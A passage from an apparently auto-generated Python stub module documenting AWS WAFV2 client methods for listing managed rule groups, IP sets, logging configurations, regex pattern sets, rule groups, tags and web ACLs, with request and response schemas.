{ 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ], 'PositionalConstraint': 'EXACTLY'|'STARTS_WITH'|'ENDS_WITH'|'CONTAINS'|'CONTAINS_WORD' }, 'SqliMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'XssMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'SizeConstraintStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'ComparisonOperator': 'EQ'|'NE'|'LE'|'LT'|'GE'|'GT', 'Size': 123, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'GeoMatchStatement': { 'CountryCodes': [ 'AF'|'AX'|'AL'|'DZ'|'AS'|'AD'|'AO'|'AI'|'AQ'|'AG'|'AR'|'AM'|'AW'|'AU'|'AT'|'AZ'|'BS'|'BH'|'BD'|'BB'|'BY'|'BE'|'BZ'|'BJ'|'BM'|'BT'|'BO'|'BQ'|'BA'|'BW'|'BV'|'BR'|'IO'|'BN'|'BG'|'BF'|'BI'|'KH'|'CM'|'CA'|'CV'|'KY'|'CF'|'TD'|'CL'|'CN'|'CX'|'CC'|'CO'|'KM'|'CG'|'CD'|'CK'|'CR'|'CI'|'HR'|'CU'|'CW'|'CY'|'CZ'|'DK'|'DJ'|'DM'|'DO'|'EC'|'EG'|'SV'|'GQ'|'ER'|'EE'|'ET'|'FK'|'FO'|'FJ'|'FI'|'FR'|'GF'|'PF'|'TF'|'GA'|'GM'|'GE'|'DE'|'GH'|'GI'|'GR'|'GL'|'GD'|'GP'|'GU'|'GT'|'GG'|'GN'|'GW'|'GY'|'HT'|'HM'|'VA'|'HN'|'HK'|'HU'|'IS'|'IN'|'ID'|'IR'|'IQ'|'IE'|'IM'|'IL'|'IT'|'JM'|'JP'|'JE'|'JO'|'KZ'|'KE'|'KI'|'KP'|'KR'|'KW'|'KG'|'LA'|'LV'|'LB'|'LS'|'LR'|'LY'|'LI'|'LT'|'LU'|'MO'|'MK'|'MG'|'MW'|'MY'|'MV'|'ML'|'MT'|'MH'|'MQ'|'MR'|'MU'|'YT'|'MX'|'FM'|'MD'|'MC'|'MN'|'ME'|'MS'|'MA'|'MZ'|'MM'|'NA'|'NR'|'NP'|'NL'|'NC'|'NZ'|'NI'|'NE'|'NG'|'NU'|'NF'|'MP'|'NO'|'OM'|'PK'|'PW'|'PS'|'PA'|'PG'|'PY'|'PE'|'PH'|'PN'|'PL'|'PT'|'PR'|'QA'|'RE'|'RO'|'RU'|'RW'|'BL'|'SH'|'KN'|'LC'|'MF'|'PM'|'VC'|'WS'|'SM'|'ST'|'SA'|'SN'|'RS'|'SC'|'SL'|'SG'|'SX'|'SK'|'SI'|'SB'|'SO'|'ZA'|'GS'|'SS'|'ES'|'LK'|'SD'|'SR'|'SJ'|'SZ'|'SE'|'CH'|'SY'|'TW'|'TJ'|'TZ'|'TH'|'TL'|'TG'|'TK'|'TO'|'TT'|'TN'|'TR'|'TM'|'TC'|'TV'|'UG'|'UA'|'AE'|'GB'|'US'|'UM'|'UY'|'UZ'|'VU'|'VE'|'VN'|'VG'|'VI'|'WF'|'EH'|'YE'|'ZM'|'ZW', ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'IPSetReferenceStatement': { 'ARN': 'string' }, 'RegexPatternSetReferenceStatement': { 'ARN': 'string', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'RateBasedStatement': { 'Limit': 123, 'AggregateKeyType': 'IP', 'ScopeDownStatement': {'... recursive ...'} }, 'AndStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'OrStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'NotStatement': { 'Statement': {'... recursive ...'} }, 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'Action': { 'Block': {}, 'Allow': {}, 'Count': {} }, 'OverrideAction': { 'Count': {}, 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' }, 'Capacity': 123, 'PreProcessFirewallManagerRuleGroups': [ { 'Name': 'string', 'Priority': 123, 'FirewallManagerStatement': { 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'OverrideAction': { 'Count': {}, 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], 'PostProcessFirewallManagerRuleGroups': [ { 'Name': 'string', 'Priority': 123, 'FirewallManagerStatement': { 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'OverrideAction': { 'Count': {}, 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], 'ManagedByFirewallManager': True|False } } :returns: Delete the following characters: " \' ^ Delete spaces before the following characters: / ( Replace the following characters with a space: , ; Replace multiple spaces with one space Convert uppercase letters (A-Z) to lowercase (a-z) """ pass def list_available_managed_rule_groups(Scope=None, NextMarker=None, Limit=None): """ Retrieves an array of managed rule groups that are available for you to use. This list includes all AWS Managed Rules rule groups and the AWS Marketplace managed rule groups that you\'re subscribed to. See also: AWS API Documentation Exceptions :example: response = client.list_available_managed_rule_groups( Scope='CLOUDFRONT'|'REGIONAL', NextMarker='string', Limit=123 ) :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type NextMarker: string :param NextMarker: When you request a list of objects with a Limit setting, if the number of objects that are still available for retrieval exceeds the limit, AWS WAF returns a NextMarker value in the response. To retrieve the next batch of objects, provide the marker from the prior call in your next request. :type Limit: integer :param Limit: The maximum number of objects that you want AWS WAF to return for this request. If more objects are available, in the response, AWS WAF provides a NextMarker value that you can use in a subsequent call to get the next batch of objects. :rtype: dict ReturnsResponse Syntax { 'NextMarker': 'string', 'ManagedRuleGroups': [ { 'VendorName': 'string', 'Name': 'string', 'Description': 'string' }, ] } Response Structure (dict) -- NextMarker (string) -- When you request a list of objects with a Limit setting, if the number of objects that are still available for retrieval exceeds the limit, AWS WAF returns a NextMarker value in the response. To retrieve the next batch of objects, provide the marker from the prior call in your next request. ManagedRuleGroups (list) -- (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . High-level information about a managed rule group, returned by ListAvailableManagedRuleGroups . This provides information like the name and vendor name, that you provide when you add a ManagedRuleGroupStatement to a web ACL. Managed rule groups include AWS Managed Rules rule groups, which are free of charge to AWS WAF customers, and AWS Marketplace managed rule groups, which you can subscribe to through AWS Marketplace. VendorName (string) -- The name of the managed rule group vendor. You use this, along with the rule group name, to identify the rule group. Name (string) -- The name of the managed rule group. You use this, along with the vendor name, to identify the rule group. Description (string) -- The description of the managed rule group, provided by AWS Managed Rules or the AWS Marketplace seller who manages it. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'NextMarker': 'string', 'ManagedRuleGroups': [ { 'VendorName': 'string', 'Name': 'string', 'Description': 'string' }, ] } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def list_ip_sets(Scope=None, NextMarker=None, Limit=None): """ Retrieves an array of IPSetSummary objects for the IP sets that you manage. See also: AWS API Documentation Exceptions :example: response = client.list_ip_sets( Scope='CLOUDFRONT'|'REGIONAL', NextMarker='string', Limit=123 ) :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type NextMarker: string :param NextMarker: When you request a list of objects with a Limit setting, if the number of objects that are still available for retrieval exceeds the limit, AWS WAF returns a NextMarker value in the response. To retrieve the next batch of objects, provide the marker from the prior call in your next request. :type Limit: integer :param Limit: The maximum number of objects that you want AWS WAF to return for this request. If more objects are available, in the response, AWS WAF provides a NextMarker value that you can use in a subsequent call to get the next batch of objects. :rtype: dict ReturnsResponse Syntax { 'NextMarker': 'string', 'IPSets': [ { 'Name': 'string', 'Id': 'string', 'Description': 'string', 'LockToken': 'string', 'ARN': 'string' }, ] } Response Structure (dict) -- NextMarker (string) -- When you request a list of objects with a Limit setting, if the number of objects that are still available for retrieval exceeds the limit, AWS WAF returns a NextMarker value in the response. To retrieve the next batch of objects, provide the marker from the prior call in your next request. IPSets (list) -- Array of IPSets. This may not be the full list of IPSets that you have defined. See the Limit specification for this request. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . High-level information about an IPSet , returned by operations like create and list. This provides information like the ID, that you can use to retrieve and manage an IPSet , and the ARN, that you provide to the IPSetReferenceStatement to use the address set in a Rule . Name (string) -- The name of the IP set. You cannot change the name of an IPSet after you create it. Id (string) -- A unique identifier for the set. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete. Description (string) -- A description of the IP set that helps with identification. You cannot change the description of an IP set after you create it. LockToken (string) -- A token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation. ARN (string) -- The Amazon Resource Name (ARN) of the entity. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'NextMarker': 'string', 'IPSets': [ { 'Name': 'string', 'Id': 'string', 'Description': 'string', 'LockToken': 'string', 'ARN': 'string' }, ] } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def list_logging_configurations(Scope=None, NextMarker=None, Limit=None): """ Retrieves an array of your LoggingConfiguration objects. See also: AWS API Documentation Exceptions :example: response = client.list_logging_configurations( Scope='CLOUDFRONT'|'REGIONAL', NextMarker='string', Limit=123 ) :type Scope: string :param Scope: Specifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type NextMarker: string :param NextMarker: When you request a list of objects with a Limit setting, if the number of objects that are still available for retrieval exceeds the limit, AWS WAF returns a NextMarker value in the response. To retrieve the next batch of objects, provide the marker from the prior call in your next request. :type Limit: integer :param Limit: The maximum number of objects that you want AWS WAF to return for this request. If more objects are available, in the response, AWS WAF provides a NextMarker value that you can use in a subsequent call to get the next batch of objects. :rtype: dict ReturnsResponse Syntax { 'LoggingConfigurations': [ { 'ResourceArn': 'string', 'LogDestinationConfigs': [ 'string', ], 'RedactedFields': [ { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, ] }, ], 'NextMarker': 'string' } Response Structure (dict) -- LoggingConfigurations (list) -- (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Defines an association between Amazon Kinesis Data Firehose destinations and a web ACL resource, for logging from AWS WAF. As part of the association, you can specify parts of the standard logging fields to keep out of the logs. ResourceArn (string) -- The Amazon Resource Name (ARN) of the web ACL that you want to associate with LogDestinationConfigs . LogDestinationConfigs (list) -- The Amazon Kinesis Data Firehose Amazon Resource Name (ARNs) that you want to associate with the web ACL. (string) -- RedactedFields (list) -- The parts of the request that you want to keep out of the logs. For example, if you redact the cookie field, the cookie field in the firehose will be xxx . (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . The part of a web request that you want AWS WAF to inspect. Include the single FieldToMatch type that you want to inspect, with additional specifications as needed, according to the type. You specify a single request component in FieldToMatch for each rule statement that requires it. To inspect more than one component of a web request, create a separate rule statement for each component. SingleHeader (dict) -- Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) -- The name of the query header to inspect. SingleQueryArgument (dict) -- Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) -- The name of the query argument to inspect. AllQueryArguments (dict) -- Inspect all query arguments. UriPath (dict) -- Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) -- Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) -- Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) -- Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. NextMarker (string) -- When you request a list of objects with a Limit setting, if the number of objects that are still available for retrieval exceeds the limit, AWS WAF returns a NextMarker value in the response. To retrieve the next batch of objects, provide the marker from the prior call in your next request. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'LoggingConfigurations': [ { 'ResourceArn': 'string', 'LogDestinationConfigs': [ 'string', ], 'RedactedFields': [ { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, ] }, ], 'NextMarker': 'string' } :returns: (string) -- """ pass def list_regex_pattern_sets(Scope=None, NextMarker=None, Limit=None): """ Retrieves an array of RegexPatternSetSummary objects for the regex pattern sets that you manage. See also: AWS API Documentation Exceptions :example: response = client.list_regex_pattern_sets( Scope='CLOUDFRONT'|'REGIONAL', NextMarker='string', Limit=123 ) :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type NextMarker: string :param NextMarker: When you request a list of objects with a Limit setting, if the number of objects that are still available for retrieval exceeds the limit, AWS WAF returns a NextMarker value in the response. To retrieve the next batch of objects, provide the marker from the prior call in your next request. :type Limit: integer :param Limit: The maximum number of objects that you want AWS WAF to return for this request. If more objects are available, in the response, AWS WAF provides a NextMarker value that you can use in a subsequent call to get the next batch of objects. :rtype: dict ReturnsResponse Syntax { 'NextMarker': 'string', 'RegexPatternSets': [ { 'Name': 'string', 'Id': 'string', 'Description': 'string', 'LockToken': 'string', 'ARN': 'string' }, ] } Response Structure (dict) -- NextMarker (string) -- When you request a list of objects with a Limit setting, if the number of objects that are still available for retrieval exceeds the limit, AWS WAF returns a NextMarker value in the response. To retrieve the next batch of objects, provide the marker from the prior call in your next request. RegexPatternSets (list) -- (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . High-level information about a RegexPatternSet , returned by operations like create and list. This provides information like the ID, that you can use to retrieve and manage a RegexPatternSet , and the ARN, that you provide to the RegexPatternSetReferenceStatement to use the pattern set in a Rule . Name (string) -- The name of the data type instance. You cannot change the name after you create the instance. Id (string) -- A unique identifier for the set. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete. Description (string) -- A description of the set that helps with identification. You cannot change the description of a set after you create it. LockToken (string) -- A token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation. ARN (string) -- The Amazon Resource Name (ARN) of the entity. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'NextMarker': 'string', 'RegexPatternSets': [ { 'Name': 'string', 'Id': 'string', 'Description': 'string', 'LockToken': 'string', 'ARN': 'string' }, ] } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def list_resources_for_web_acl(WebACLArn=None, ResourceType=None): """ Retrieves an array of the Amazon Resource Names (ARNs) for the regional resources that are associated with the specified web ACL. If you want the list of AWS CloudFront resources, use the AWS CloudFront call ListDistributionsByWebACLId . See also: AWS API Documentation Exceptions :example: response = client.list_resources_for_web_acl( WebACLArn='string', ResourceType='APPLICATION_LOAD_BALANCER'|'API_GATEWAY' ) :type WebACLArn: string :param WebACLArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the Web ACL.\n :type ResourceType: string :param ResourceType: Used for web ACLs that are scoped for regional applications. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage. :rtype: dict ReturnsResponse Syntax { 'ResourceArns': [ 'string', ] } Response Structure (dict) -- ResourceArns (list) -- The array of Amazon Resource Names (ARNs) of the associated resources. (string) -- Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'ResourceArns': [ 'string', ] } :returns: (string) -- """ pass def list_rule_groups(Scope=None, NextMarker=None, Limit=None): """ Retrieves an array of RuleGroupSummary objects for the rule groups that you manage. See also: AWS API Documentation Exceptions :example: response = client.list_rule_groups( Scope='CLOUDFRONT'|'REGIONAL', NextMarker='string', Limit=123 ) :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type NextMarker: string :param NextMarker: When you request a list of objects with a Limit setting, if the number of objects that are still available for retrieval exceeds the limit, AWS WAF returns a NextMarker value in the response. To retrieve the next batch of objects, provide the marker from the prior call in your next request. :type Limit: integer :param Limit: The maximum number of objects that you want AWS WAF to return for this request. If more objects are available, in the response, AWS WAF provides a NextMarker value that you can use in a subsequent call to get the next batch of objects. :rtype: dict ReturnsResponse Syntax { 'NextMarker': 'string', 'RuleGroups': [ { 'Name': 'string', 'Id': 'string', 'Description': 'string', 'LockToken': 'string', 'ARN': 'string' }, ] } Response Structure (dict) -- NextMarker (string) -- When you request a list of objects with a Limit setting, if the number of objects that are still available for retrieval exceeds the limit, AWS WAF returns a NextMarker value in the response. To retrieve the next batch of objects, provide the marker from the prior call in your next request. RuleGroups (list) -- (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . High-level information about a RuleGroup , returned by operations like create and list. This provides information like the ID, that you can use to retrieve and manage a RuleGroup , and the ARN, that you provide to the RuleGroupReferenceStatement to use the rule group in a Rule . Name (string) -- The name of the data type instance. You cannot change the name after you create the instance. Id (string) -- A unique identifier for the rule group. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete. Description (string) -- A description of the rule group that helps with identification. You cannot change the description of a rule group after you create it. LockToken (string) -- A token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation. ARN (string) -- The Amazon Resource Name (ARN) of the entity. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'NextMarker': 'string', 'RuleGroups': [ { 'Name': 'string', 'Id': 'string', 'Description': 'string', 'LockToken': 'string', 'ARN': 'string' }, ] } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def list_tags_for_resource(NextMarker=None, Limit=None, ResourceARN=None): """ Retrieves the TagInfoForResource for the specified resource. See also: AWS API Documentation Exceptions :example: response = client.list_tags_for_resource( NextMarker='string', Limit=123, ResourceARN='string' ) :type NextMarker: string :param NextMarker: When you request a list of objects with a Limit setting, if the number of objects that are still available for retrieval exceeds the limit, AWS WAF returns a NextMarker value in the response. To retrieve the next batch of objects, provide the marker from the prior call in your next request. :type Limit: integer :param Limit: The maximum number of objects that you want AWS WAF to return for this request. If more objects are available, in the response, AWS WAF provides a NextMarker value that you can use in a subsequent call to get the next batch of objects. :type ResourceARN: string :param ResourceARN: [REQUIRED]\nThe Amazon Resource Name (ARN) of the resource.\n :rtype: dict ReturnsResponse Syntax { 'NextMarker': 'string', 'TagInfoForResource': { 'ResourceARN': 'string', 'TagList': [ { 'Key': 'string', 'Value': 'string' }, ] } } Response Structure (dict) -- NextMarker (string) -- When you request a list of objects with a Limit setting, if the number of objects that are still available for retrieval exceeds the limit, AWS WAF returns a NextMarker value in the response. To retrieve the next batch of objects, provide the marker from the prior call in your next request. TagInfoForResource (dict) -- The collection of tagging definitions for the resource. ResourceARN (string) -- The Amazon Resource Name (ARN) of the resource. TagList (list) -- The array of Tag objects defined for the resource. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . A collection of key:value pairs associated with an AWS resource. The key:value pair can be anything you define. Typically, the tag key represents a category (such as "environment") and the tag value represents a specific value within that category (such as "test," "development," or "production"). You can add up to 50 tags to each AWS resource. Key (string) -- Part of the key:value pair that defines a tag. You can use a tag key to describe a category of information, such as "customer." Tag keys are case-sensitive. Value (string) -- Part of the key:value pair that defines a tag. You can use a tag value to describe a specific value within a category, such as "companyA" or "companyB." Tag values are case-sensitive. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFTagOperationException WAFV2.Client.exceptions.WAFTagOperationInternalErrorException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'NextMarker': 'string', 'TagInfoForResource': { 'ResourceARN': 'string', 'TagList': [ { 'Key': 'string', 'Value': 'string' }, ] } } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFTagOperationException WAFV2.Client.exceptions.WAFTagOperationInternalErrorException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def list_web_acls(Scope=None, NextMarker=None, Limit=None): """ Retrieves an array of WebACLSummary objects for the web ACLs that you manage. See also: AWS API Documentation Exceptions :example: response = client.list_web_acls( Scope='CLOUDFRONT'|'REGIONAL', NextMarker='string', Limit=123 ) :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type NextMarker: string :param NextMarker: When you request a list of objects with a Limit setting, if the number of objects that are still available for retrieval exceeds the limit, AWS WAF returns a NextMarker value in the response. To retrieve the next batch of objects, provide the marker from the prior call in your next request. :type Limit: integer :param Limit: The maximum number of objects that you want AWS WAF to return for this request. If more objects are available, in the response, AWS WAF provides a NextMarker value that you can use in a subsequent call to get the next batch of objects. :rtype: dict ReturnsResponse Syntax { 'NextMarker': 'string', 'WebACLs': [ { 'Name': 'string', 'Id': 'string', 'Description': 'string', 'LockToken': 'string', 'ARN': 'string' }, ] } Response Structure (dict) -- NextMarker (string) -- When you request a list of objects with a Limit setting, if the number of objects that are still available for retrieval exceeds the limit, AWS WAF returns a NextMarker value in the response. To retrieve the next batch of objects, provide the marker from the prior call in your next request. WebACLs (list) -- (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . High-level information about a WebACL , returned by operations like create and list. This provides information like the ID, that you can use to retrieve and manage a WebACL , and the ARN, that you provide to operations like AssociateWebACL . Name (string) -- The name of the Web ACL. You cannot change the name of a Web ACL after you create it. Id (string) -- The unique identifier for the Web ACL. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete. Description (string) -- A description of the Web ACL that helps with identification. You cannot change the description of a Web ACL after you create it. LockToken (string) -- A token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation. ARN (string) -- The Amazon Resource Name (ARN) of the entity. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'NextMarker': 'string', 'WebACLs': [ { 'Name': 'string', 'Id': 'string', 'Description': 'string', 'LockToken': 'string', 'ARN': 'string' }, ] } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def put_logging_configuration(LoggingConfiguration=None): """ Enables the specified LoggingConfiguration , to start logging from a web 